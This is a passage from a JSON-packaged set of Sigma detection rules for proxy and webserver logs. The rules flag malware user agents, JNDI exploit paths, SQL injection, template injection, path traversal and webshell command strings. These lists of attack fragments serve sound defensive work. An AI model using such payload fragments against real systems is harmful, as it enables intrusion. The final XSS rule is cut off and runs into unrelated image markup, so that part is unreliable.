https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/\n - 'mozzzzzzzzzzz' # https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0' # Quasar RAT UA https://twitter.com/malmoeb/status/1559994820692672519?s=20&t=g3tkNL09dZZWbFN10qDVjg\n - 'Havana/0.1' # https://www.cybereason.com/blog/threat-alert-havanacrypt-ransomware-masquerading-as-google-update\n - 'antSword/v2.1' # AntSword Webshell UA\n - 'rqwrwqrqwrqw' # Racoon Stealer\n - 'qwrqrwrqwrqwr' # Racoon Stealer\n - 'rc2.0/client' # Racoon Stealer\n - 'TakeMyPainBack' # Racoon Stealer\n - 'xxx' # Racoon Stealer\n - '20112211' # Racoon Stealer\n - '23591' # Racoon Stealer\n - '901785252112' # Racoon Stealer\n - '1235125521512' # Racoon Stealer\n - '125122112551' # Racoon Stealer\n - 'B1D3N_RIM_MY_ASS' # Racoon Stealer\n - 'AYAYAYAY1337' # Racoon Stealer\n - 'iMightJustPayMySelfForAFeature' # Racoon Stealer\n - 'ForAFeature' # Racoon Stealer\n - 'Ares_ldr_v_*' # AresLoader\n # - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106' # seen used by AresLoader\n - 'Microsoft Internet Explorer' # https://github.com/silence-is-best/c2db\n - 'CLCTR' # https://github.com/silence-is-best/c2db\n - 'uploader' # https://github.com/silence-is-best/c2db\n - 'agent' # https://github.com/silence-is-best/c2db\n - 'License' # https://github.com/silence-is-best/c2db\n - 'vb wininet' # https://github.com/silence-is-best/c2db\n - 'Client' # https://github.com/silence-is-best/c2db\n - 'Lilith-Bot/3.0' # Lilith Stealer - https://twitter.com/suyog41/status/1558051450797690880\n - 'svc/1.0' # SVC Loader - https://twitter.com/suyog41/status/1558051450797690880\n - 'WSHRAT' # WSHRAT - https://twitter.com/suyog41/status/1558051450797690880\n - 'ZeroStresser Botnet/1.5' # Zerobot - https://twitter.com/suyog41/status/1558051450797690880\n - 'OK' # Nymaim - https://twitter.com/suyog41/status/1558051450797690880\n - 'Project1sqlite' # DarkCloud - https://twitter.com/suyog41/status/1558051450797690880\n - 'Project1' # DarkCloud - https://twitter.com/suyog41/status/1558051450797690880\n - 'DuckTales' # Racoon Stealer\n - 'Zadanie' # Racoon Stealer\n - 'GunnaWunnaBlueTips' # Racoon Stealer\n - 'Xlmst' # Racoon Stealer\n - 'GeekingToTheMoon' # Racoon Stealer\n - 'SunShineMoonLight' # Racoon Stealer\n - 'BunnyRequester' # BunnyStealer\n - 'BunnyTasks' # BunnyStealer\n - 'BunnyStealer' # BunnyStealer\n - 'BunnyLoader_Dropper' # BunnyStealer\n - 'BunnyLoader' # BunnyStealer\n - 'BunnyShell' # BunnyStealer\n - 'SPARK-COMMIT' # SparkRAT - https://arcticwolf.com/resources/blog/tellmethetruth-exploitation-of-cve-2023-46604-leading-to-ransomware/\n - '4B4DB4B3' # B4B3RAT - https://twitter.com/naumovax/status/1718956514491130301\n - 'SouthSide' # Racoon Stealer\n - 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)' # Latrodectus loader\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_powershell.yml",
"content": "title: Windows PowerShell User Agent\nid: c8557060-9221-4448-8794-96320e6f3e74\nstatus: test\ndescription: Detects Windows PowerShell Web Access\nreferences:\n - https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-03-13\nmodified: 2021-11-27\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|contains: ' WindowsPowerShell/'\n condition: selection\nfalsepositives:\n - Administrative scripts that download files from the Internet\n - Administrative scripts that retrieve certain website contents\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_rclone.yml",
"content": "title: Rclone Activity via Proxy\nid: 2c03648b-e081-41a5-b9fb-7d854a915091\nstatus: test\ndescription: Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string\nreferences:\n - https://rclone.org/\n - https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone\nauthor: Janantha Marasinghe\ndate: 2022-10-18\ntags:\n - attack.exfiltration\n - attack.t1567.002\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|startswith: 'rclone/v'\n condition: selection\nfalsepositives:\n - Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_susp.yml",
"content": "title: Suspicious User Agent\nid: 7195a772-4b3f-43a4-a210-6a003d65caa1\nstatus: test\ndescription: Detects suspicious malformed user agent strings in proxy logs\nreferences:\n - https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb\nauthor: Florian Roth (Nextron Systems)\ndate: 2017-07-08\nmodified: 2022-10-31\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection1:\n c-useragent|startswith:\n - 'user-agent' # User-Agent: User-Agent:\n - 'Mozilla/3.0 '\n - 'Mozilla/2.0 '\n - 'Mozilla/1.0 '\n - 'Mozilla ' # missing slash\n - ' Mozilla/' # leading space\n - 'Mozila/' # single 'l'\n - 'Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol' # https://twitter.com/NtSetDefault/status/1303643299509567488\n selection2:\n c-useragent|contains:\n - ' (compatible;MSIE ' # typical typo - missing space\n - '.0;Windows NT ' # typical typo - missing space\n - 'loader' # https://twitter.com/securityonion/status/1522614635152744453?s=20&t=gHyPTSq5A27EqKwrCd9ohg\n selection3:\n c-useragent:\n - '_'\n - 'CertUtil URL Agent' # https://twitter.com/stvemillertime/status/985150675527974912\n - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0)' # CobaltStrike Beacon https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/\n - 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0' # used by APT28 malware https://threatvector.cylance.com/en_us/home/inside-the-apt28-dll-backdoor-blitz.html\n - 'HTTPS' # https://twitter.com/stvemillertime/status/1204437531632250880\n - 'Erbium-UA-4ce7c27cb4be9d32e333bf032c88235a' # https://www.cyfirma.com/outofband/erbium-stealer-malware-report\n - 'x' # Use by Racoon Stealer but could be something else\n - 'xxx' # Use by Racoon Stealer but could be something else\n falsepositives:\n - c-useragent: 'Mozilla/3.0 * Acrobat *' # Acrobat with linked content\n - cs-host|endswith: # Adobe product traffic, example: Mozilla/3.0 (compatible; Adobe Synchronizer 10.12.20000)\n - '.acrobat.com'\n - '.adobe.com'\n - '.adobe.io'\n condition: 1 of selection* and not falsepositives\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/proxy_generic/proxy_ua_susp_base64.yml",
"content": "title: Potential Base64 Encoded User-Agent\nid: 894a8613-cf12-48b3-8e57-9085f54aa0c3\nrelated:\n - id: d443095b-a221-4957-a2c4-cd1756c9b747\n type: derived\nstatus: test\ndescription: Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.\nreferences:\n - https://blogs.jpcert.or.jp/en/2022/07/yamabot.html\n - https://deviceatlas.com/blog/list-of-user-agent-strings#desktop\nauthor: Florian Roth (Nextron Systems), Brian Ingram (update)\ndate: 2022-07-08\nmodified: 2023-05-04\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: proxy\ndetection:\n selection:\n c-useragent|endswith: '='\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/proxy_generic/proxy_webdav_external_execution.yml",
"content": "title: Suspicious External WebDAV Execution\nid: 1ae64f96-72b6-48b3-ad3d-e71dff6c6398\nrelated:\n - id: 4c55738d-72d8-490e-a2db-7969654e375f\n type: similar\nstatus: test\ndescription: |\n Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.\nreferences:\n - https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4\n - https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462\n - https://www.trendmicro.com/en_no/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html\n - https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html\nauthor: Ahmed Farouk\ndate: 2024-05-10\ntags:\n - attack.initial-access\n - attack.resource-development\n - attack.t1584\n - attack.t1566\nlogsource:\n category: proxy\ndetection:\n selection_webdav:\n c-useragent|startswith: 'Microsoft-WebDAV-MiniRedir/'\n cs-method: 'GET'\n selection_execution:\n c-uri|endswith:\n - '.7z'\n - '.bat'\n - '.dat'\n - '.cmd'\n - '.exe'\n - '.js'\n - '.lnk'\n - '.ps1'\n - '.rar'\n - '.url'\n - '.vbe'\n - '.vbs'\n - '.zip'\n filter_main_local_ips:\n dst_ip|cidr:\n - '127.0.0.0/8'\n - '10.0.0.0/8'\n - '172.16.0.0/12'\n - '192.168.0.0/16'\n - '169.254.0.0/16'\n - '::1/128' # IPv6 loopback\n - 'fe80::/10' # IPv6 link-local addresses\n - 'fc00::/7' # IPv6 private addresses\n condition: all of selection_* and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_f5_tm_utility_bash_api_request.yml",
"content": "title: F5 BIG-IP iControl Rest API Command Execution - Webserver\nid: 85254a62-22be-4239-b79c-2ec17e566c37\nrelated:\n - id: b59c98c6-95e8-4d65-93ee-f594dfb96b17\n type: similar\nstatus: test\ndescription: Detects POST requests to the F5 BIG-IP iControl Rest API \"bash\" endpoint, which allows the execution of commands on the BIG-IP\nreferences:\n - https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash\n - https://community.f5.com/t5/technical-forum/icontrolrest-11-5-execute-bash-command/td-p/203029\n - https://community.f5.com/t5/technical-forum/running-bash-commands-via-rest-api/td-p/272516\nauthor: Nasreddine Bencherchali (Nextron Systems), Thurein Oo\ndate: 2023-11-08\ntags:\n - attack.execution\n - attack.t1190\n - attack.initial-access\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-method: 'POST'\n cs-uri-query|endswith: '/mgmt/tm/util/bash'\n condition: selection\nfalsepositives:\n - Legitimate usage of the BIG IP REST API to execute command for administration purposes\nlevel: medium\n"
},
{
"path": "rules/web/webserver_generic/web_iis_tilt_shortname_scan.yml",
"content": "title: Successful IIS Shortname Fuzzing Scan\nid: 7cb02516-6d95-4ffc-8eee-162075e111ac\nstatus: test\ndescription: When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"\nreferences:\n - https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml\n - https://www.exploit-db.com/exploits/19525\n - https://github.com/lijiejie/IIS_shortname_Scanner\nauthor: frack113\ndate: 2021-10-06\nmodified: 2023-01-02\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-uri-query|contains: '~1'\n cs-uri-query|endswith: 'a.aspx'\n cs-method:\n - GET\n - OPTIONS\n # Success only\n sc-status:\n - 200\n - 301\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/webserver_generic/web_java_payload_in_access_logs.yml",
"content": "title: Java Payload Strings\nid: 583aa0a2-30b1-4d62-8bf3-ab73689efe6c\nstatus: test\ndescription: Detects possible Java payloads in web access logs\nreferences:\n - https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/\n - https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/\n - https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md\n - https://twitter.com/httpvoid0x2f/status/1532924261035384832\n - https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035\nauthor: frack113, Harjot Singh, \"@cyb3rjy0t\" (update)\ndate: 2022-06-04\nmodified: 2023-01-19\ntags:\n - cve.2022-26134\n - cve.2021-26084\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n keywords:\n - '%24%7B%28%23a%3D%40'\n - '${(#a=@'\n - '%24%7B%40java'\n - '${@java'\n - 'u0022java'\n - '%2F%24%7B%23'\n - '/${#'\n - 'new+java.'\n - 'getRuntime().exec('\n - 'getRuntime%28%29.exec%28'\n condition: keywords\nfalsepositives:\n - Legitimate apps\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_jndi_exploit.yml",
"content": "title: JNDIExploit Pattern\nid: 412d55bc-7737-4d25-9542-5b396867ce55\nstatus: test\ndescription: Detects exploitation attempt using the JNDI-Exploit-Kit\nreferences:\n - https://github.com/pimps/JNDI-Exploit-Kit\n - https://web.archive.org/web/20231015205935/https://githubmemory.com/repo/FunctFan/JNDIExploit\nauthor: Florian Roth (Nextron Systems)\ndate: 2021-12-12\nmodified: 2022-12-25\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n keywords:\n - '/Basic/Command/Base64/'\n - '/Basic/ReverseShell/'\n - '/Basic/TomcatMemshell'\n - '/Basic/JettyMemshell'\n - '/Basic/WeblogicMemshell'\n - '/Basic/JBossMemshell'\n - '/Basic/WebsphereMemshell'\n - '/Basic/SpringMemshell'\n - '/Deserialization/URLDNS/'\n - '/Deserialization/CommonsCollections1/Dnslog/'\n - '/Deserialization/CommonsCollections2/Command/Base64/'\n - '/Deserialization/CommonsBeanutils1/ReverseShell/'\n - '/Deserialization/Jre8u20/TomcatMemshell'\n - '/TomcatBypass/Dnslog/'\n - '/TomcatBypass/Command/'\n - '/TomcatBypass/ReverseShell/'\n - '/TomcatBypass/TomcatMemshell'\n - '/TomcatBypass/SpringMemshell'\n - '/GroovyBypass/Command/'\n - '/WebsphereBypass/Upload/'\n condition: keywords\nfalsepositives:\n - Legitimate apps the use these paths\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_path_traversal_exploitation_attempt.yml",
"content": "title: Path Traversal Exploitation Attempts\nid: 7745c2ea-24a5-4290-b680-04359cb84b35\nstatus: test\ndescription: Detects path traversal exploitation attempts\nreferences:\n - https://github.com/projectdiscovery/nuclei-templates\n - https://book.hacktricks.xyz/pentesting-web/file-inclusion\nauthor: Subhash Popuri (@pbssubhash), Florian Roth (Nextron Systems), Thurein Oo, Nasreddine Bencherchali (Nextron Systems)\ndate: 2021-09-25\nmodified: 2023-08-31\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-uri-query|contains:\n - '../../../../../lib/password'\n - '../../../../windows/'\n - '../../../etc/'\n - '..%252f..%252f..%252fetc%252f'\n - '..%c0%af..%c0%af..%c0%afetc%c0%af'\n - '%252e%252e%252fetc%252f'\n condition: selection\nfalsepositives:\n - Expected to be continuously seen on systems exposed to the Internet\n - Internal vulnerability scanners\nlevel: medium\n"
},
{
"path": "rules/web/webserver_generic/web_source_code_enumeration.yml",
"content": "title: Source Code Enumeration Detection by Keyword\nid: 953d460b-f810-420a-97a2-cfca4c98e602\nstatus: test\ndescription: Detects source code enumeration that use GET requests by keyword searches in URL strings\nreferences:\n - https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html\n - https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1\nauthor: James Ahearn\ndate: 2019-06-08\nmodified: 2022-10-05\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: webserver\ndetection:\n keywords:\n - '.git/'\n condition: keywords\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/webserver_generic/web_sql_injection_in_access_logs.yml",
"content": "title: SQL Injection Strings In URI\nid: 5513deaf-f49a-46c2-a6c8-3f111b5cb453\nstatus: test\ndescription: Detects potential SQL injection attempts via GET requests in access logs.\nreferences:\n - https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/\n - https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/\n - https://brightsec.com/blog/sql-injection-payloads/\n - https://github.com/payloadbox/sql-injection-payload-list\n - https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection\nauthor: Saw Win Naung, Nasreddine Bencherchali (Nextron Systems), Thurein Oo (Yoma Bank)\ndate: 2020-02-22\nmodified: 2023-09-04\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-method: 'GET'\n keywords:\n - '@@version'\n - '%271%27%3D%271'\n - '=select '\n - '=select('\n - '=select%20'\n - 'concat_ws('\n - 'CONCAT(0x'\n - 'from mysql.innodb_table_stats'\n - 'from%20mysql.innodb_table_stats'\n - 'group_concat('\n - 'information_schema.tables'\n - 'json_arrayagg('\n - 'or 1=1#'\n - 'or%201=1#'\n - 'order by '\n - 'order%20by%20'\n - 'select * '\n - 'select database()'\n - 'select version()'\n - 'select%20*%20'\n - 'select%20database()'\n - 'select%20version()'\n - 'select%28sleep%2810%29'\n - 'SELECTCHAR('\n - 'table_schema'\n - 'UNION ALL SELECT'\n - 'UNION SELECT'\n - 'UNION%20ALL%20SELECT'\n - 'UNION%20SELECT'\n - \"'1'='1\"\n filter_main_status:\n sc-status: 404\n condition: selection and keywords and not 1 of filter_main_*\nfalsepositives:\n - Java scripts and CSS Files\n - User searches in search boxes of the respective website\n - Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_ssti_in_access_logs.yml",
"content": "title: Server Side Template Injection Strings\nid: ada3bc4f-f0fd-42b9-ba91-e105e8af7342\nstatus: test\ndescription: Detects SSTI attempts sent via GET requests in access logs\nreferences:\n - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection\n - https://github.com/payloadbox/ssti-payloads\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-06-14\ntags:\n - attack.defense-evasion\n - attack.t1221\nlogsource:\n category: webserver\ndetection:\n select_method:\n cs-method: 'GET'\n keywords:\n - '={{'\n - '=%7B%7B'\n - '=${'\n - '=$%7B'\n - '=<%='\n - '=%3C%25='\n - '=@('\n - 'freemarker.template.utility.Execute'\n - .getClass().forName('javax.script.ScriptEngineManager')\n - 'T(org.apache.commons.io.IOUtils)'\n filter:\n sc-status: 404\n condition: select_method and keywords and not filter\nfalsepositives:\n - User searches in search boxes of the respective website\n - Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_susp_useragents.yml",
"content": "title: Suspicious User-Agents Related To Recon Tools\nid: 19aa4f58-94ca-45ff-bc34-92e533c0994a\nstatus: test\ndescription: Detects known suspicious (default) user-agents related to scanning/recon tools\nreferences:\n - https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb\n - https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst\n - https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92\nauthor: Nasreddine Bencherchali (Nextron Systems), Tim Shelton\ndate: 2022-07-19\nmodified: 2023-01-02\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-user-agent|contains:\n # Add more tools as you see fit\n - 'Wfuzz/'\n - 'WPScan v'\n - 'Recon-ng/v'\n - 'GIS - AppSec Team - Project Vision'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/web/webserver_generic/web_susp_windows_path_uri.yml",
"content": "title: Suspicious Windows Strings In URI\nid: 9f6a34b4-2688-4eb7-a7f5-e39fef573d0e\nstatus: test\ndescription: Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication\nreferences:\n - https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-06-06\nmodified: 2023-01-02\ntags:\n - attack.persistence\n - attack.exfiltration\n - attack.t1505.003\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-uri-query|contains:\n - '=C:/Users'\n - '=C:/Program%20Files'\n - '=C:/Windows'\n - '=C%3A%5CUsers'\n - '=C%3A%5CProgram%20Files'\n - '=C%3A%5CWindows'\n condition: selection\nfalsepositives:\n - Legitimate application and websites that use windows paths in their URL\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_webshell_regeorg.yml",
"content": "title: Webshell ReGeorg Detection Via Web Logs\nid: 2ea44a60-cfda-11ea-87d0-0242ac130003\nstatus: test\ndescription: Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.\nreferences:\n - https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3\n - https://github.com/sensepost/reGeorg\nauthor: Cian Heasley\ndate: 2020-08-04\nmodified: 2023-01-02\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n category: webserver\ndetection:\n selection:\n cs-uri-query|contains:\n - 'cmd=read'\n - 'connect&target'\n - 'cmd=connect'\n - 'cmd=disconnect'\n - 'cmd=forward'\n filter:\n cs-referer: null\n cs-user-agent: null\n cs-method: POST\n condition: selection and filter\nfalsepositives:\n - Web applications that use the same URL parameters as ReGeorg\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_win_webshells_in_access_logs.yml",
"content": "title: Windows Webshell Strings\nid: 7ff9db12-1b94-4a79-ba68-a2402c5d6729\nstatus: test\ndescription: Detects common commands used in Windows webshells\nreferences:\n - https://bad-jubies.github.io/RCE-NOW-WHAT/\n - https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/\nauthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)\ndate: 2017-02-19\nmodified: 2022-11-18\ntags:\n - attack.persistence\n - attack.t1505.003\nlogsource:\n category: webserver\ndetection:\n selection_method:\n cs-method: 'GET'\n selection_keywords:\n # The \"%20\" is URL encoded version of the space\n # The \"%2B\" is URL encoded version of the \"+\"\n - '=whoami'\n - '=net%20user'\n - '=net+user'\n - '=net%2Buser'\n - '=cmd%20/c%'\n - '=cmd+/c+'\n - '=cmd%2B/c%'\n - '=cmd%20/r%'\n - '=cmd+/r+'\n - '=cmd%2B/r%'\n - '=cmd%20/k%'\n - '=cmd+/k+'\n - '=cmd%2B/k%'\n - '=powershell%'\n - '=powershell+'\n - '=tasklist%'\n - '=tasklist+'\n - '=wmic%'\n - '=wmic+'\n - '=ssh%'\n - '=ssh+'\n - '=python%'\n - '=python+'\n - '=python3%'\n - '=python3+'\n - '=ipconfig'\n - '=wget%'\n - '=wget+'\n - '=curl%'\n - '=curl+'\n - '=certutil'\n - '=copy%20%5C%5C'\n - '=dsquery%'\n - '=dsquery+'\n - '=nltest%'\n - '=nltest+'\n condition: all of selection_*\nfalsepositives:\n - Web sites like wikis with articles on os commands and pages that include the os commands in the URLs\n - User searches in search boxes of the respective website\nlevel: high\n"
},
{
"path": "rules/web/webserver_generic/web_xss_in_access_logs.yml",
"content": "title: Cross Site Scripting Strings\nid: 65354b83-a2ea-4ea6-8414-3ab38be0d409\nstatus: test\ndescription: Detects XSS attempts injected via GET requests in access logs\nreferences:\n - https://github.com/payloadbox/xss-payload-list\n - https://portswigger.net/web-security/cross-site-scripting/contexts\nauthor: Saw Win Naung, Nasreddine Bencherchali\ndate: 2021-08-15\nmodified: 2022-06-14\ntags:\n - attack.initial-access\n - attack.t1189\nlogsource:\n category: webserver\ndetection:\n select_method:\n cs-method: 'GET'\n keywords:\n - '=![\"Sigma](\"./images/sigma_logo_dark.png\"){kind=logo}
\n![\"Sigma](\"./images/Sigma_description_dark.png\")
\n